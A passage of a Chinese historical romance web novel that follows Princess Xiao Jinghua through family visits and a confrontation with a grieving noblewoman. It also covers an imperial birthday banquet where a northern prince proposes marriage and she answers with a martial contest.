孟年恨铁不成钢地给他止血上药,然后取出干净的纱布缠上。 天知道他发现陆埕自残时是什么心情,简直恨不得揪着他衣领狠狠揍一顿。 问也问了,骂也骂了,他始终一副闷嘴葫芦样,怪不得郡主受不了他。 孟年心累叹气,骂道:“你怎么不干脆把这伤露出来给郡主看?让她看看,你现在都疯成什么样了!” 说着说着,孟年眼睛一亮,“对啊,说不准郡主看见这伤心疼了,脑子一个不清醒就与你和好如初了!” “不准去她面前胡说。” 澄净双眸微沉,陆埕盯着孟年,“要是让我知道你向她透露一言一语,这个月加下个月的月俸,你就别想要了。” 孟年疑惑,“为什么?” 陆埕抿唇。 孟年不知他这般行径的原因,可萧婧华一定能猜出来。 他不想让她知道他这般没用,在杀人后,竟要靠自残来消弭内心的罪恶感。 何况,苦肉计能成功的前提,是那名姑娘本身就是个心肠柔软的人。 让萧婧华动恻隐之心的原因,或许是怜悯,或许是恩情,却唯独不是爱。 这些理由或许能让她留下,或许能让她多看望他几次。 可除此之外还有什么? 留下她的人,又不能留下她的心,只能充盈内心虚伪的满足感,待她走后又会陷入虚无之中。 何必呢。 他渴望萧婧华曾经的发自内心的心疼,而不是出于教养的礼貌关怀。 陆埕摇摇头,下一瞬,唇间陡然发出一串痛苦呻吟,额上也沁出了汗。 孟年收手,无辜地看着他,“大人,我不是故意的。” 陆埕如何看不出他就是有意的?忍痛瞪他。 孟年赔着笑,动作小心地系了个结。替陆埕把衣裳穿好,他拾起地上染了血的纱布,准备找个地方处理。 关上车门的下一瞬,孟年朝里翻了个白眼。 呸,我就看你这闷葫芦怎么能让郡主回心转意。 …… 挂念着江妍卿,回府的第二日,萧婧华便带人去探望她。 江妍卿收到消息,早早地在庄子外候着。 恭亲王府的马车一到,她便扬着笑上前。 “江姐姐。” 萧婧华眼眸亮着搭上江妍卿的手。 江妍卿牵着她,笑容温婉,“走,我带你进去。” 进了门,萧婧华端详着这座庄子,见环境清幽,下人也懂规矩,倒是满意了两分。 被江妍卿牵引着落座,萧婧华四处张望,“初一呢?”江妍卿笑容无奈,“被下人领出去玩呢。” 初一正是爱玩的年纪,萧婧华没放在心上,问出自己的疑惑。 “江姐姐,你为何突然和初一搬了出来?” 长睫翩跹,掩去眸中暗淡神光,江妍卿轻声笑道:“也没什么,只是回来这些时日,爹娘大抵是觉得对我有所亏欠,事事顺着,哄着我,待初一更是恨不得捧在手心里。” “我知他们是好意,可心里总是过意不去,索性带着初一搬出来。” “江姐姐,我们认识多久了?” 萧婧华板着脸,沉声道:“你觉得这个理由,我会信?” 江妍卿一怔。 “我去过虞侯府,那守卫说是怕你在府上耽搁念卿的婚事,所以才另寻居所。若事实如你所说,他为何骗我?” 江妍卿勉强道:“他只是一个守卫,能知道什么?” “若是如此,他直接告诉我他不知道不就行了,为何多此一举?除非……”萧婧华拖长尾音,目光如炬,“除非你们府里,都是这般认为的。” 江妍卿沉默片刻,终究还是叹了声,无奈道:“是我哥哥嫂子,他们以我孀居在家,不便为念卿说亲为由,想为我说媒拉纤。” 萧婧华皱着眉头问:“说的是何人?” 江妍卿下垂的眉眼含着苦涩,“我嫂嫂娘家表哥前几月刚丧妻,襁褓幼子无人照料。而他的……”顿了瞬,她轻声开口,“他的长子,今岁十八,常年流连青楼,想为长子寻位贤母,好生管教。” 长子十八,比她都大,那娘家表哥至少有四十了吧?! 萧婧华怒了,“她把你当什么了?什么腌臜货也敢给你说媒?怎么不让自己亲妹子嫁过去?” “你兄长呢,就这么任由她作践你?” 江妍卿握住她的手,笑容安慰,“嫂嫂毕竟与我哥哥成婚多年,又为他诞下二子二女,一边是妻子,一边是妹子,他也为难。” “我娘已经因为我的事和嫂嫂闹了一场,如此下去,家宅定会不宁,不如我和初一搬出来。” 萧婧华余怒未消。 “她实在是欺人太甚!” “好了,别生气,不值当。”江妍卿屈指勾她鼻尖,笑得轻松,“搬出来也没什么不好,自在多了。我娘又带着念卿时常来看望,也没什么不好的。” “不委屈吗?” 萧婧华不解。 若是她兄长成婚后要把她嫁给一个年纪大的鳏夫,她定会气得闹个人仰马翻,让人不得安宁。 “不委屈。”江妍卿摇头保证,“放心好了,我不会让自己受委屈。” 萧婧华只好暂时放下忧虑。 “我开了家铺子,应当会在皇伯父万寿后开业,你到时可得来捧场。” 江妍卿笑着应下,“一定。” 说了会儿闲话,初一“哒哒”地跑进来了。 他手里举着一只草编老虎,兴奋地对江妍卿喊:“娘你看,叔叔给我的老虎!” 江妍卿笑着,“那你可有道谢?” 初一点着脑袋,“说了说了,叔叔还夸我是好孩子。” 江妍卿眼里笑意更甚,亲昵地摸他小耳朵。 叔叔? 看江妍卿并无介绍之意,萧婧华心忖,应当是庄子上的下人吧。 她没多问,逗着初一玩,屋内充斥着孩童无忧无虑的笑声。 在江妍卿此处住了两日,萧婧华才打道回府。 刚喝了盏茶,夏菱匆匆而来。 “郡主,宣远伯求见。” 第62章 宣远伯? 萧婧华眸底似有暗潮涌动。 她问:“可是因邵世子而来?” 夏菱没去西山猎场,不太清楚邵世子之事,轻轻摇头,迟疑道:“奴婢不知,不过随行而来的伯夫人面色焦急,应当是有急事。” 萧婧华点头,“走吧,去看看。” 夏菱“诶”一声,跟在她身后。 到了前院待客厅堂,萧婧华一眼便见到了掩面掉泪的宣远伯夫人,睫毛被泪水濡湿,不时透出的眸光里含着哀恸。 宣远伯端正规矩地坐在她身侧,闻声训斥,“王爷府上,哭哭啼啼的像什么样子。待会儿若是被郡主撞见,岂不是丢了伯府脸面?!” 宣远伯夫人捏着帕子捂唇,泪如雨下,“妾身想起远儿,这心里痛啊!” 萧婧华瞧了片刻,倒是有些稀奇。 儿子出事,身为母亲的宣远伯夫人哭得梨花带雨,哀恸悲戚,而宣远伯这个父亲,竟瞧不出半分悲痛,好似失踪的是个陌生人,而不是他的亲生儿子。 眼尾轻动,萧婧华迈步走入厅堂。 宣远伯眼尖,见一道窈窕倩影出现,当即意识到这便是大名鼎鼎的琅华郡主,连忙起身,敛衽行礼,“见过郡主。” 宣远伯夫人拭去脸上的泪,勉强收住一脸哀容,期期艾艾站在夫婿身旁,“妾身戚氏,见过郡主。” 视线落在她身上,萧婧华飞快挪开,眉头不觉蹙起。 方才还不觉,此时看见了宣远伯夫人的正脸,不知为何,她心里有些闷,下意识抗拒。 “起吧。” 越过两人在上首落座,萧婧华道:“伯爷与夫人请坐。” 夏菱站姿一旁添茶,刚喝了一口,便听宣远伯道:“我夫妇二人不亲自来,还望郡主恕罪。” “是妾身央着伯爷走这一趟。” 宣远伯夫人打断自家夫君的话,不顾他的瞪视,含泪的眼望着萧婧华,哽咽道:“妾身想知道,郡主可有我儿嘉远的消息?” 宣远伯攥住夫人的手腕,赔着笑对萧婧华道:“她关心则乱,郡主见谅。” 说着长叹一声,“夫人只生养了嘉远一个孩子,听说他下落不明,生死不知,自是心急如焚。若郡主有消息,还望能告知一二,让我们这做父母的也安心些。” 萧婧华喝茶的动作顿住,茶盏后一双凤眸熠熠如星。琥珀色的眸子轻轻一转,她怪道:“本郡主自掉下悬崖后便不省人事,多亏陆大人相救,这才捡回一条小命。至于邵世子,醒来后便不知他踪迹,怕是帮不了二位。” 宣远伯一脸愁苦,“郡主与陆大人皆不知晓,也不知我儿究竟去了何处。” 萧婧华意外,“伯爷去寻了陆大人?” “是啊。”宣远伯道:“我与夫人先去了陆府,再来拜会的郡主。” 萧婧华颔首。 “郡主就丝毫不愧疚吗?” 突然一声质问差点把萧婧华问懵了,她看向说话之人,蹙眉不解,“什么?” 宣远伯夫人脸上还在淌泪,一双眼似是淬了火,愤怒地迎上萧婧华的目光,恨声道:“远儿是为了救郡主才掉落悬崖,如今他生死不明,郡主竟然还能外出会友?晚间榻上,你能安心闭眼,睡得安稳吗?!” “放肆,竟然对郡主不敬!”夏菱呵斥。 “你闭嘴!” 宣远伯斥了夫人一声,急忙起身请罪,“还望郡主看在她一片慈母之心的份上,饶这蠢妇一次。” “我说错了吗?”宣远伯夫人哭声哀切,“若非郡主,我的远儿怎么会失踪?!” “郡主,你就不会良心不安吗?!” “你给我闭嘴!” 宣远伯偏头,恶狠狠地瞪她。 宣远伯夫人被他眼里含着冷光的警告吓住了,一时之间意识回笼,察觉到自己说了什么,后背霎时出一层冷汗,险些瘫软在椅上。 “良心不安?” 上首尊贵的郡主幽幽反问,宣远伯夫人怔忪抬首,正巧瞧见她唇畔尚未消散的冷笑。 萧婧华道:“照夫人的意思,若是邵世子不甚殒命,本郡主还得给他陪葬不成?” 宣远伯夫人吓得脸色苍白。 宣远伯亦是面色大变,忙道:“是这蠢妇不会说话,郡主恕罪,恕罪。” 萧婧华冷呵一声,目光落在宣远伯夫人身上,慢条斯理道:“予安,说起来,本郡主是怎么掉下悬崖的?” 堂外忽然响起一道冷冽女声,宣远伯夫妻循声望去,只见一女子立在门口,音色平稳,毫无波澜道:“就在属下即将救下郡主之际,邵世子中途杀出,险些将郡主拉下马,随后二人一道跌落悬崖。” “夫人听清楚了吗?” 萧婧华语气温和,“若非邵世子,本郡主大概根本不会出事,我还未追究他之过,夫人倒是质问我来了。” 宣远伯猛一闭眼,扯着面无人色的宣远伯夫人跪下,嗓音里泄出些微颤抖,“都是那孽子犯的错,还望郡主宽宏大量,饶过伯府。” “伯爷这话说的。”萧婧华淡淡撩起眼皮,“邵世子一人之过,与伯府何干?且他如今不知生死,本郡主岂能再追究?” 宣远伯如释重负,大喜道:“多谢郡主。” “本郡主乏了,便不招待二位了。来人,送客。” 萧婧华起身向外走,路过跪在正中的宣远伯夫妻时,她往下瞥了一眼,正好捕捉到宣远伯夫人眸里尚未散去的愤慨与怨恨。 她忽然庆幸。 幸好邵嘉远死了,她不会再嫁他。 裙摆飞扬,萧婧华轻快离开。 出了恭亲王府,宣远伯冷漠睨了眼宣远伯夫人,兀自离去。 本来嫡子失踪,他心里难过,谁知他这般无用。 也罢,反正他儿子多,这个没用,还有下一个。 眼睁睁看着宣远伯撇下自己离开,宣远伯夫人红着眼流泪。 在侍女的搀扶下漫无目的地在街上游走,无意间瞥到某处,她眼睛骤然发亮,喃喃自语,“还有希望,我还有希望……”…… 乌云蔽月,星光暗淡。 凉风习习,昙华悠然舒展。 长指拨弄着花瓣,揠苗助长,迫不及待想看这月下美人绽放的美景。 屋内漆黑,唯有案上独灯一盏,燃着昏黄的光。 空旷之中,有道男声冷如坚冰。 “上次我就警告过你,别打她的主意。” 男人强硬拨开尚未绽放的幽昙,懒洋洋回道:“这次是邵嘉远自己的打算,和我可没关系。” “那马是如何发狂的?” “哎呀呀,被发现了呢。” 男人收回手,望着被蹂。躏得惨不忍睹的昙花,轻声一笑,“可我做都做了,你能拿我怎么办?” 喉间发紧,空气快速流失,窒息感令他胸腔发痛,脸色发红。 他抓住脖颈上的手,艰难道:“我、我错了……” 那手微微松开,男人大口呼吸,空气一瞬间涌入,他偏头咳嗽几声。 末了对眼前的人笑道:“你还真是她的……” 黑暗中一道凌厉的目光射来,男人打了个颤,投降道:“好了好了,我不会再打她的主意了,我发誓,这样总行了吧?” 他不怕死地凑上去,语气幽幽转了个弯,亲昵却恶意满满,“……哥哥?” 风从窗外灌进来,吹得屋内灯烛狂舞不止。 有乌云散开,露出一半弯月。银辉似光,照亮一双漂亮又晦暗的眼。 “扣扣——” 外头有人敲门。 “主子,我儿……” 男人不耐烦道:“知道了,会去找的。” 那人说了番话。 男人饶有兴致挑眉,眼里亮起恶劣的光。 …… 邵嘉远虽死,但有些问题仍未解决。 比如,清晨因何发狂? 比如,她看见的京城,究竟发生了什么? 那时候的太子哥哥和陆埕去了哪儿? 邵嘉远费尽心机想娶她,是为了利用她和父王往上爬,那他背后,还有没有别的人? 萧婧华想不通。 翻来覆去地睡不着,她撩开帘帐对外头喊:“箬竹,表嫂送我的安神香呢?” 箬竹匆匆进了里间,“那日郡主配在腰间,回来后便不见了。” 应该是掉落悬崖后弄丢的。 那安神香萧婧华用着还不错,她思忖着寻个日子去问问表嫂,表哥是找哪个太医配的。 “好,你去歇着吧。” 放下帘帐,萧婧华又挣扎了许久,总算是睡着了。 因着崇宁帝寿辰将近,这段日子的京城格外热闹。 铺子里的一切温婵姿都打理得分外妥帖,前两日送了几份胭脂口脂过来,萧婧华试着用了用,效果很是不错,自己留了一份,剩下的分给了箬竹几人。 商量好了开业的日子,萧婧华亲自去请了京城里数一数二的戏班子,准备在那日好好热闹热闹。 观摩了几日温大掌柜的风采,崇宁帝寿辰转瞬即至。 早在去年,萧婧华便命人准备了寿礼。 和恭亲王一道进宫,她先去了长秋殿,把寿礼送给崇宁帝。 “祝皇伯父天保九如,松鹤延年!” 崇宁帝笑着,“好好好,借我们婧华吉言。” “皇伯父不打开看看吗?” 崇宁帝上前,打开宫人抬着的箱子。 第一眼见到的,是几只玉琢白鹤,立在松上引颈振翅。 再往下,松山嶙峋,白鹤成群,或在低头觅食,或站在河畔啄洗,栩栩如生,活灵活现。 萧婧华接过宫人手里的火折子,点了支香插上。 袅袅白烟似天上悬河,倒灌而下,从松山流淌,延至远方。 香气缭绕,清新而不沉闷,白鹤身处白雾间,颇有几分仙风道骨之感。 萧婧华笑问:“皇伯父可喜欢?” “喜欢。” 崇宁帝爱不释手地摸着顶端白鹤。 恭亲王凑了过来,啧啧称奇,“这鹤一共多少只啊?” “长命百岁,自然有一百只了。”萧婧华邀功,“这可是我从去年就开始准备的寿礼。” 立在一旁一直没开口的萧长瑾忽然叹了一声,“与婧华相比,我这哥哥很是不孝啊。” “何止是你。”恭亲王瞬间酸了,“没见你对你爹这般用心。我不管,明年我生辰,就要和这个一模一样的。” 崇宁帝大笑。 萧长瑾笑容温和。 萧婧华爽快答应,“好啊,一定给父王备一样的。” 收了礼,崇宁帝和弟弟说着政事,眉梢还挂着笑意。萧长瑾敛了笑,侧耳聆听。 说的都是她听不懂的,萧婧华看看这个又看看那个,自觉退下。 离寿宴还早,她转了转,准备去找乐宁跟端和。 刚走出一段,正撞上阿史那苍。 见到他,萧婧华才猛然意识到,他好几日都没来缠她。 视线一扫,这人今日穿得很是正式,一身胡服衬出肩宽腿长,出众身材,五官俊美,眉目深邃。 北夷使臣跟在他身后,目光敛着,十足恭敬。 目光相触,他对她扬起笑,行了北夷礼,“郡主。” 萧婧华顿了瞬,福身道:“三王子。” 阿史那苍笑容扩大,看了她一眼,步入长秋殿。 萧婧华看着他的背影,眉头一点点拧起。 不知为何,他方才那眼,给了她一种不好的预感。 就好像…… 有什么关于她的大事将要发生。 第63章 “喂,你发什么愣呢。” 乐宁不满抱怨。 萧婧华转眸,“你方才说什么?” 这么明目张胆地不给她面子! 乐宁气呼呼地转过头去,不想和她说话。 端和打着圆场,“皇姐方才是在问,哪支簪子更配她今日的衣裳。” 她觑着萧婧华的面色,迟疑问:“琅华姐姐最近可是没睡好?” 萧婧华往梳妆台上投去一眼。 乐宁今日穿着黄丹色襦裙,撘杏仁黄披帛,灿灿如阳,很是明艳。 她在两支簪子中犹豫,一支鎏金凤尾步摇,下坠流苏,款式虽简单,但做工极为精细,晃动间似有金沙流动。另一支镶金牡丹花簪,朵朵牡丹簇拥,富贵华丽。 萧婧华道:“凤尾簪吧。穿得够花哨了,再配一支更花哨的簪子,不知道的还以为你是花蝴蝶呢。” “说谁花蝴蝶呢?!” 乐宁面色忿忿,却仍把手里的凤尾簪递给了宫女。 萧婧华“切”一声,转而回复端和,“最近是睡得不好,表嫂上次送了我安神香,用着倒是不错。” “月姐姐什么时候送了你安神香?”乐宁嘟囔。 康郡王妃乃是安贵妃娘家表侄女,她幼时常随母亲进宫探望,与乐宁一贯相熟。 “上次在西山猎场。”萧婧华言简意赅。 乐宁“哦”了一声,随后占有欲十足道:“那我待会儿见了她,帮你问问还有没有那劳什子安神香,给你送一些。” 真幼稚。 萧婧华翻白眼。 宫人为乐宁梳完妆,姐妹三人相携着前往今日举办寿宴的明和殿。 还没到宫门口,便撞见了方才话题的主角。 “月姐姐,明月姐姐!” 乐宁摇摇对前头的人招手。 那二人听见声音回首,见了凑在一处的姐妹三人,纷纷笑了。 还未走近,便听男子揶揄笑音,“难得见你们三人走在一处。玉姿今日竟没惹婧华生气?” 那男子身着碧青色锦袍,长眉偏淡,飞斜入鬓,眉下一双温润桃花眸,生得很是俊秀。 乐宁对他怒目而视,“在表哥眼里,我莫非是河豚不成?动不动就生气!” 康郡王举手投降,“表哥口不择言,是我的错。玉姿当然是漂亮的小公主。” 他看向萧婧华与端和,笑道:“和婧华、庆媛一样,都是咱们萧家最漂亮的姑娘。” 康郡王的母亲文若长公主一口气生了三个儿子,并无女儿,他自幼便对两位舅舅家的表妹很是稀罕。 乐宁这才满意。 她看向康郡王妃,“月姐姐,你上次送给琅华的安神香还有吗?” 康郡王妃愣了一瞬,转而笑道:“有的。婧华可是又睡不安稳了?” 康郡王小心翼翼地搀扶住妻子,闻言疑惑,“安神香?” “你忘了,你亲自寻太医给我配的方子。”康郡王妃睨了丈夫一眼,“上次秋猎,我见婧华睡得不好,便做主送了她一枚。你该不会不愿意吧?” 这么一说,康郡王想起来了。 前段时日妻子不知何故夜夜惊醒,他特意去寻太医配的安神香。 听着妻子的话,康郡王失笑,“怎么会?婧华尽管遣人去我府上拿就是,或是我回府后抄份方子给你送去。” “那便劳累表哥了。”萧婧华应道。 “兄妹之间,哪用这么客气。”康郡王笑意温和,面色更是能滴出水的温柔。 乐宁稀奇地瞧了眼康郡王妃的肚子,端和柔声轻问:“离明和殿还有些距离,表嫂身子不便,可需轿撵?” “不用。”康郡王妃摇头,“太医说,我多走动走动也是好的,到生产时也能顺利些。” 端和点头,唇畔笑意轻柔,“庆媛受教了。” “也是你心细善良。”康郡王夸赞。 端和腼腆地笑。 又来了。 萧婧华与乐宁齐齐撇嘴。 不想再看端和做戏,萧婧华道:“表哥表嫂,你们慢走,我先行一步。” 乐宁急声,“我也是。” 两个姐姐都走了,端和自然也没理由留下,忙追在她们后头。 明和殿内已经来了不少人。 一入殿,姐妹三人默契地分散开,各自去寻自己的小姐妹。 见到许久不见的江念卿,萧婧华问:“就你一人?” “郡主。”江念卿笑着点头,似是知道她想问什么,轻声道:“姐姐让我给你带个口信,她等你铺子开业再回京。” 萧婧华有些失落,但这是江妍卿的决定,她并不好干涉,只好道:“好。” 虞侯夫人在远处招呼江念卿。 萧婧华远远瞧见她对面的美妇人与她身侧的少年,对江念卿眨了眨眼。 江念卿红了脸,低低道:“那是母亲中意的……”顿了顿,她害羞道:“郡主,我先过去了。” 萧婧华:“好。” 不见云慕筱和谢瑛人影,她回了席位。 源源不断的姑娘来与她搭话,萧婧华有一搭没一搭地回复。 好不容易在人流缝隙中瞥见云慕筱姐妹几人,还未来得及打招呼,崇宁帝带着太子与恭亲王到了。 众人齐叩首。 崇宁帝在上首落座,温声道:“众卿平身。” 吩咐了声开宴,宫人们当即捧着膳食鱼贯而入。 大臣们纷纷向崇宁帝祝寿,这个说祝陛下福寿双全,那个又说祝陛下百寿康宁,还有的祝江山安稳,海清河晏,各种漂亮话数不胜数。崇宁帝嘴角噙着笑,安静听着。朝臣们敬酒,他来者不拒,痛快地一饮而尽。 后妃们也不落后,笑靥如花,声如黄鹂。 萧婧华光是看着,都替皇伯父嫌累得慌。 就在这时,一名女子起身,在众目睽睽下走到殿内,恭声道:“臣女有一曲,贺陛下万寿。” “她是谁?”萧婧华问。 隔壁的乐宁摇头,“不认识,谁啊?” 端和倒是想了想,不确定道:“好像是光禄寺少卿之女,姓郑?” “她看上父皇了?”乐宁皱着脸,“她看着好像和我们差不多大吧?” 端和轻摇头。 崇宁帝垂首望着殿内的少女,轻轻颔首,“允。” 郑姑娘粲然一笑。 宫人送来瑶琴,她拂袖而坐,指尖在琴弦上舞动,琴音泠泠,似瑶池仙乐。神思一晃,如临王母寿宴,四方来仙,齐声贺寿,场面壮阔,不觉心神动荡。 “错了。” 萧婧华悠悠道:“她是看上太子哥哥了。” 乐宁赞同点头,“那郑姑娘说是为父皇贺寿,却看了皇兄有十次了吧?” 端和:“应当不止。” 不仅她们看出来了,在场众人无人不知郑姑娘醉翁之意不在酒。 越过人群,萧婧华看向席中的云慕筱。 少女今日的衣裳比寻常要明媚几分,发饰也要复杂许多,只是那张清冷出尘,如月下美人般漂亮的脸依旧如平静湖面,无风无澜。 萧婧华愁得在心里叹了声气。 这么看来,筱筱当真对太子哥哥无意? 正想着,敬国公夫人面容焦急地拉着云慕筱,口中说着什么。 萧婧华努力辨认,是在让她……也上? 上什么? 云慕筱与敬国公夫人说了几句话,将她劝了回去,长睫上撩,飞快看了郑姑娘一眼,随后便低下头去。 萧婧华品味着她这番动作。 这么看,太子哥哥或许有戏? 她心里欢喜,面上便也带了三分,含笑的眼正巧与某人撞上。 眼里的笑霎时散了一干二净。 瞥了眼陆埕恢复了血色的脸,萧婧华淡淡收回视线。 她命人送去不少珍贵补品,又让太医日日请脉,这要是伤都不能好,那她就该怀疑陆埕的身体究竟弱到什么程度了。 这般想着,殿内的乐声停了。 “臣女恭祝陛下福寿延年,万寿无疆。” 郑姑娘敛衽,恭敬而立,安静地注视着萧长瑾的方向,眸里暗含期待。 如玉长指捏着酒杯,萧长瑾看向某处,蓦地轻声一笑,仰头将杯中之酒饮下。 崇宁帝仿佛没看见这些眉眼官司,夸赞道:“不错,郑卿养了个好女儿,赏。” 郑姑娘等了几息,却再无他言。 她按下心中失望,面上恭敬又欢喜道:“臣女谢陛下赏赐。” 郑姑娘入席后,殿内安静了少顷,就在乐声即将响起的前一刻,有道男声含笑道:“小王有一事,愿陛下应允。” 阿史那苍站起,学着盛朝人的模样作揖,高声道:“小王愿以三千良马、四个马场并十万两为聘,向陛下求娶琅华郡主。” 此话一出,殿内一片哗然。 十万两白银是笔巨款,北夷的马更是难得的良驹,一匹可抵千金。有良马为辅,他们的骑兵是出了名的所向披靡,其勇猛令北夷称霸草原,外族不敢轻易来犯。 一千良马,若是领军得当,便能敌万军,更别说是三千。再加上四个北夷马场,着实让人心动。 刹那间,众臣看向崇宁帝与萧婧华的目光都带着火热。 阿史那苍接着道:“若陛下将郡主下嫁,小王承诺,来日若称王,北夷将成为盛朝永远的友邦。” “永不来犯。” 尾音落地,哗声更甚。 好似悬在头顶的闸刀落下,萧婧华竟然有股终于来了的如释重负之感。 余光里,父王面色骤变,双手握成了拳。 太子哥哥沉着脸,紧紧盯着阿史那苍。 视线一转,她看见担忧的云慕筱和谢瑛,愤怒的宁拓,意外的二皇兄、康表哥……就连两侧的乐宁端和,也是一脸惶然无措。 阿史那苍背脊挺着,唇畔含笑。 给出这样的条件,他身后的使臣竟也丝毫不为所动。 也不知是这些日子将他们都说服了,还是他们本就是他的人,以他马首是瞻,不敢违抗。 萧婧华缓缓看向上首的帝王。 他独坐高台,面色平淡,眉间肃然,令人惶惶不可逼视。 帝王启唇,“琅华是朕掌上明珠,她的婚事,由她自己做主。三王子若想求娶,合该问她的意见。” 梗在心头的那口气忽然就松了。 与上次不同,当着这么多朝臣的面,阿史那苍拿出了他的诚意。这诚意,足以令任何一个明君贤臣动心。 萧婧华能感受到朝臣们落在她身上的灼热视线,更别说皇伯父。 但他还是拒绝了。 被亲人疼爱的感觉是那般心喜,导致她听见阿史那苍的询问时,都没那么生气了。 “不知郡主,可愿下嫁?” 有道视线一直落在她身上,含着强烈的,令人不可忽视的祈求。 陆埕面色隐忍,目光紧盯着她,似在恳求她不要答应。 萧婧华轻轻牵起嘴角,刹那间似有光华照亮眉眼,明媚灼目,似朝霞绚烂。 她笑着,“比武招亲如何?” 第64章 “比武招亲?” 阿史那苍拧起眉头。 “是啊,比武招亲。”萧婧华抬起下颌,笑容灿然,“不论是三王子还是盛朝子弟,打一场,谁赢了,本郡主便嫁谁。” 阿史那苍狐疑,“这是盛朝的传统?” 求亲前还要打一架,他怎么没听说过? “不。”萧婧华低眸,晃了晃酒杯,注视着杯中被灯火渲染得略有几分暗黄的酒水,淡笑道:“是本郡主的规矩。” 她把酒喝下,掀起上睫,露出清透明澈的眸子。带着水光的两片唇瓣一开一合,扬声道:“本郡主要嫁,自然是要嫁最好的。 “三王子没比过,我怎知你是最好的?” 语调悠悠,似带着轻嘲。 萧婧华眉尾一动,“还是说,你怕了?” 阿史那苍气笑了,干脆利落应下,“那便依郡主所言。” 北夷人,自小。便是在摔打中长大的。更别说他还在肮脏混乱的奴隶营里生活了多年。一个比武招亲而已,有何惧? “比武招亲……是否有些草率了?” 人群中有大臣迟疑。 未等崇宁帝反应,恭亲王率先看过去,目光凶恶地瞪他一眼,“郡主和三王子都同意了,你还有什么意见?” 那大臣讪笑,“三王子诚心求娶,郡主此举……难免有推诿之嫌。” 恭亲王冷嗤,“本王这个当爹的都没意见,你还不满上了?” 大臣急忙赔罪,“王爷恕罪,是臣失言,失言。郡主既想比武招亲,自然以她的意见为主。” 恭亲王斜她一眼。 “既然如此,便将比武招亲的日子定在十日后如何?”崇宁帝看向萧婧华。 十日,足够做许多事情了。 阿史那苍双眼微眯,绿眸闪着光。 方要开口,萧婧华已颔首应下。 “好,依皇伯父所言。” 她既然答应了,阿史那苍就不便拒绝。 不过,无论他们想做什么,琅华郡主,他娶定了。 阿史那苍遥遥对萧婧华举杯,绿眸幽幽,似噙着笑。 萧婧华垂眸,饮下杯中酒水。 这二人既然都已同意,大臣们也不好开口让崇宁帝应下婚事。 有的在心中暗忖,回去得管好家中后辈,别去趟这滩浑水。北夷三王子明显对琅华郡主势在必得,这顿打就别去挨了。 大多数人认为,这场比武招亲,北夷三王子必赢。 剩余的在斟酌,这可是难得的好机会,若能娶得郡主…… 一场寿宴,人心浮动,各怀鬼胎。 …… 宴席将散,一名小内侍悄然走到萧婧华身边,低声道:“郡主,陛下让您去长秋殿等候。” 萧婧华颔首,“知道了。” 今夜醉酒的人不少,内侍们搀扶着大臣往外走。 阿史那苍大步流星朝她的方向走来。 乐宁端和还未回宫,见状纷纷捏住萧婧华的袖子,目光警惕。 阿史那苍停步,绿眸柔光浮现,垂首低声,“小金花,我等着你。” 等着什么,不言而喻。 萧婧华别开眼。 阿史那苍轻笑一声,大步离去。 “不讲理!” 乐宁瞪着他的背影。 “你们回宫吧,我去趟长秋殿。” “是父皇……” 话音未尽,端和便拉着乐宁道:“你去吧,我们先回了。” 萧婧华:“好。” 乐宁欲言又止地瞧她一眼,随端和离开。 隔着人群,萧婧华朝云慕筱和谢瑛安抚点头,随后与走到她身旁的恭亲王一道在宫人的带领下去了长秋殿。 崇宁帝与萧长瑾皆在殿内。 待父女二人落座,崇宁帝开门见山问:“婧华,你可想嫁?” “皇兄,你这是何意?”忍了一路没开口的恭亲王急声道:“我可就婧华这么一个女儿,我绝不同意把她嫁去北夷!” “你急什么?”崇宁帝轻飘飘瞥了弟弟一眼,“朕在问婧华。” 萧婧华给自己倒了杯茶,“皇伯父,要是想嫁,方才在宴上我就同意了。” 崇宁帝笑了笑,将手里的册子推出去。 萧婧华好奇翻看,恭亲王亦是偏头看去。 萧长瑾低声解释,“这是京中各家未婚男子的名册,你看看,能看上哪个。” “这么快?”萧婧华意外。 “你都被逼到这份上了,怎么能不快?” 萧长瑾笑容无奈。 抬手拍了拍萧婧华的肩,他道:“这十日,孤再搜寻搜寻京城周边的青年才俊。若有看上的,孤想法子让他胜出。若是看不上,便挑一个看得过眼的,待北夷使臣离京,退婚便是。” “我看那阿史那苍生得壮硕,想必武艺不俗。世家子弟,打得过么?” 恭亲王迟疑,“倒不如在军中选。” “也可,再挑几个暗卫去。”崇宁帝道。 三人就这么决定了。 萧婧华翻了两页,竟从中瞧见了宁拓的画像。 再往后翻,又是许多眼熟的面孔。 将册子阖上,她道:“反正都是做戏,是谁都一样,父王皇伯父,你们做主吧。” 他们选出来的人,想必定是好的。 恭亲王便拿起册子,一页一页地翻,与崇宁帝商讨。 两个小辈坐在一旁,萧婧华看了萧长瑾一眼。 “欲言又止的作甚?” 萧长瑾问。 萧婧华小声道:“太子哥哥,我有话与你说。” 崇宁帝在翻看的间隙抬头,颔首淡声,“去吧。” “那父王,你和皇伯父先看着,我和太子哥哥去东宫,走时差人唤我一声就成。” 恭亲王头也不抬,“行,去吧去吧。” 萧婧华便拉着萧长瑾去了东宫。 “到底什么事?神神秘秘的,在长秋殿不能说?”萧长瑾纳闷。 屏退宫人,萧婧华伏在萧长瑾耳边道:“我杀了邵嘉远。” “什么?” 萧长瑾瞳孔骤缩,满脸的不可置信。 “不对。” 发觉这话有歧义,萧婧华补充道:“是陆埕杀的。” “你们俩联合作案?” 萧长瑾越发震惊。 这话说的。 萧婧华反驳,“我那是为民除害。” 从乖巧可爱的妹妹竟然敢杀人的冲击中冷静下来,萧长瑾问:“是在崖下的时候?” 萧婧华点头,“他胸前的红痣与我梦中那人一模一样。哥哥……”顿了顿,她小声道:“我梦见,父王被人一箭射中胸膛,京城里死了好多人,到处都是尸山血海。你说……” 萧婧华嗓音更低,“会不会有人暗中策划着谋反?” 萧长瑾面色沉了下来,“除了梦到这些,还有什么?” “没别的了。”萧婧华摇头。 见萧长瑾神色严峻,她安慰道:“或许是我想多了也说不准。” 萧长瑾摸她头,“你梦里的男人既然存在,那这梦,十有八。九是未来之事。上天让你掌握先机,便是想让我们扭转乾坤。” “别怕,有哥哥在。” 萧婧华心中温软,笑着点头,“好。” “我派人去盯着宣远伯府。” “邵嘉远不是已经死了吗?”萧婧华不解。 为何要多此一举? “你说,牵扯进这事里的,是邵嘉远,还是他背后的宣远伯府?”萧长瑾反问。 萧婧华一点就通,“我知道了。” 她嘟囔着,“早知道就不杀他了。” 留下说不定还能利用他套出消息。 “没事,杀就杀吧。”萧长瑾安慰。 “对了哥哥,那群土匪有消息吗?”萧婧华问:“我直觉,我被绑架也是邵嘉远做的。” 萧长瑾眸底有杀意浮现,又在萧婧华看过去时飞快沉没。 